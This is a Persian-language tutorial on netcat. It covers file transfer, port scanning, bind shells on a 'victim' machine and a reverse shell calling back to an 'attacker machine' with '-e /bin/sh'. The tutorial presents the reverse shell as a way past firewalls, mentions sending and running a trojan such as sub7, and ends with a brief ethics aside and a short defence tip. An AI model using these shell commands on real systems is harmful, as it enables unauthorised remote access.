آشنایی با نت کت

نت کت یکی از محبوبترین برنامه های مورد استفاده توسط هکرهامی باشد از نت کت به عنوان چاقوی همه کاره یاد می شود . درصورت وجود یک پورت باز روی سیستم شما شخص مهاجم به راحتی می تواند از طریق نت کت به آن نفوذ کند

این برنامه در عین سادگی و کم حجم بودن در بسیاری از حملات نفوذی در کنار نفوذگران بوده است. هدف اصلي این برنامه انتقال data ها بر روی پورت های باز بین دو کامپیوتر می باشد.

نت کت اولین بار توسط Hobbit براي نسخه هاي مختلف یونیکس از جمله linux و ... نوشته شده و در سال ۱۹۹۶ منتشر شده است و بالاخره در اواخر سال ۱۹۹۸ ، Weld Pond نسخه اي براي ویندوز NT را ایجاد نمود. (خیلي جالبه بعد از دو سال! این نشون دهنده این مساله است که این سیستم عامل چقدر عقب افتاده و ضعیف هست!!!). این دو نسخه کاملا با هم هماهنگ هستند و داده ها را به سادگي بین نسخه هاي سیستم عامل های مختلف منتقل مي کنند.

یکی از قابلیت هاي جالب این برنامه را می توان به ارتباط از هر پورتی به پورت دیگر یاد کرد.

نکته: « این برنامه قالبیت ارتباط دو طرفه را داراست – Listener و Clinets – چه روي پورت TCP چه UDP »

سرویس گیرنده = مي تواند از طریق یک درگاه به کامپیوتر مورد نظر وصل شود و اطلاعاتي را از این طریق ارسال کند.

سرویس دهنده = هر درگاهي مورد نظر شما باشد را باز کرده و منتظر دریافت اطلاعات می شود.

NetCat براي انتقال اطلاعات

یکي از عامیانه ترین و ساده ترین امکاني که نت کت به شما مي دهد انتقال فایلها می باشد. این برنامه قادر است یک فایل را بین دو کامپیوتر به راحتي منتقل کند. نت کت از مفید ترین و سود مند ترین ابزار ها براي انتقال اطلاعات است. در صورتي که نت کت بر روي یک کامپیوتر به صورت سرویس دهنده فعال باشد مي توان از طریق یک پورت، اطلاعات را انتقال داد.

نکته : « لازم به ذکر است که نفوذگر مي تواند به وسیله فرمان هاي Pulling Or Pushing اطلاعات را دریافت یا ارسال کند. »

طرز انتقال اطلاعات

```
$ nc –l –p 1234 >file
```

NC = اجراي برنامه

-l = حالت سرویس دهنده

-p 1234 = شماره درگاه (Port)

[File] = محل ذخیره داده ها ارسالي

$ nc [remote machine] 1234 < [File]

NC = اجراي برنامه

[Remote Machine] = نام كامپيوتر هدف (آي پي)

۱۲۳۴ = شماره پورت مورد نظر

[File] = اطلاعات با اين اسم استخراج مي شه

نكته در مورد < : « در صورتي كه اين علامت اسم يک فايل باشد به عنوان دستگاه خروجي مشخص مي شود و اطلاعات دريافت شده درون آن قرار مي گيرند، در صورتي كه اينكار صورت نگيرد اطلاعات بر روی صفحه نمايش نشان داده می شود. »

NetCat و پويش ها (يافتن پورت هاي باز اعم از TCP & UDP)

توانايي ديگر اين برنامه قدرتمند جستجو كردن و يافتن درگاه هاي باز بر روي كامپيوتر مورد نظر مي باشد. اين برنامه به صورت سريع و به راحتي با IP مورد نظر ارتباط برقرار مي كند.

نكته : « اين برنامه از تكنيک پويش پورت ها به صورت Vanilla كه يک استاندارد می باشد، پشتيباني مي كند. »

$ echo QUIT | nc –v –w 3 [target machine] [start port] [end port]

QUIT = اين جهار كاراكتر به هر پورت باز ارسال مي شود.

NC = اجراي برنامه نت كت

-v = خروجي Verbose براي نشان دادن درگاه هاي باز بر روي صفحه نمايش

-w 3 = در ۳ ثانيه به هر پورت يک پيغام مي فرستد و منتظر مي شه كه اين پيغام برگرده و معلوم بشه اين درگاه باز هست يا بسته است.

[target machine] = نام كامپيوتري (آي پي) كه نت كت روي اون مي خواد اسكن بزنه

[start port] , [end port]

در اينجا شما تعيين مي كنيد كه از چه درگاهي تا چه درگاهي اسكن بزنه

NetCat و ايجاد ارتباط با يک درگاه باز و ارسال داده

بعد از يافتن يک درگاه باز بر روی كامپيوتر هدف مي توان از اين برنامه جهت انتقال اطلاعات (فايل) استفاده كرد.

-ارتباط و انتقال تحت درگاه هاي TCP:

$ nc [remote machine] [port number]

nc = اجراي برنامه روي كامپيوتر مبدا

Remote Machine = نام كامپيوتر (آي پي) هدف

Port Number = درگاه باز

-ارتباط و انتقال تحت درگاه هاي UDP :

$ nc –u [remote machine] [port number]

nc = اجراي برنامه

-u = انتخاب پروتكل ارتباطي UDP

Remote Machine = نام كامپيوتر (آي پي) هدف

Port Number = درگاه باز

NetCat و اجراي دستورات از طريف خط فرمان

يكي از قابليت هاي بسيار عالي كه به درد نفوذگرها مي خوره اين هست كه مي تونه يک فايل يا ... از راه دور اجرا كنه. (براي مثال شما يک تروجان مثل sub7 رو براي كامپيوتر هدف مي فرستيد و بعد هم اجراش مي كنيد) === كيف كرديد نه!!! === ولي يادتون باشه ذهنتون فقط در جهت حفاظت خود باشه نه مخرب بودن! و يا در جهت كمک كردن به ديگران نه اذيت كردن! خراب كردن هيچ كاري نداره! و هيچ افتخاري نداره كه ما فلان جا رو فلان كار كرديم === در هر صورت بريم دوباره سر بحث نت كت:

$ nc -l –p [port] –e/bin/sh

nc = اجرا برنامه نت كت

-l = حالت سرويس دهنده

-p port = شماره درگاه مورد نظر براي ارتباط

-e/bin/sh = آدرس برنامه اي كه بعد از برقراري ارتباط بايد اجرا بشه.

$ nc [victim machine] [port number]

nc = اجراي برنامه

Victim machine = آدرس آي پي ماشين قرباني

Port number = شماره پورت مورد نظر براي برقرار ارتباط از طريق پروتكل TCP

در اين حالت نت كت بر روي كامپيوتر قرباني در حالت انتظار باقي مي ماند تا نفوذگر شروع به ارسال كند.

NetCat و ايجاد نفوذ بر روي كامپيوتر مورد نظر در حالت فعال

$ nc [attacker machine] [port] –e/bin/sh

nc = اجراي برنامه

Attacker machine = آدرس آي پي كامپيوتر نفوذگر

Port = شماره درگاه مورد نظر

-e /bin/sh = نام فايلي كه بعد از ايجاد ارتباط ، اجرا خواهد شد.

$ nc –l –p [port]

nc = اجراي برنامه

l- = حالت سرويس دهنده

p port- = شماره پورت مورد نظر

با كمک اين روش شما مي تونيد از ديواره آتش به راحتي عبور كنيد. به اين دليل كه ديواره آتش سعي مي كنه كه از ورود اطلاعات از بيرون به داخل جلوگيري كنه ولي بر عكس اين موضوع رو به درستي پوشش نمي ده!

روش دفاع در برابر Net Cat

اولين كاري كه حتما ضروري هست انجام بديد و به همه چيز مرتب مي شه اين هست كه شما كنترل كامل روي درگاه هاي خود (Port) داشته باشيد به اين معني كه فايروال ها و ديواره آتش و ... استفاده كنيد تا از پورت هاي باز و ... خود مطلع باشيد.

با تشكر از استاد كماليان ومصلحی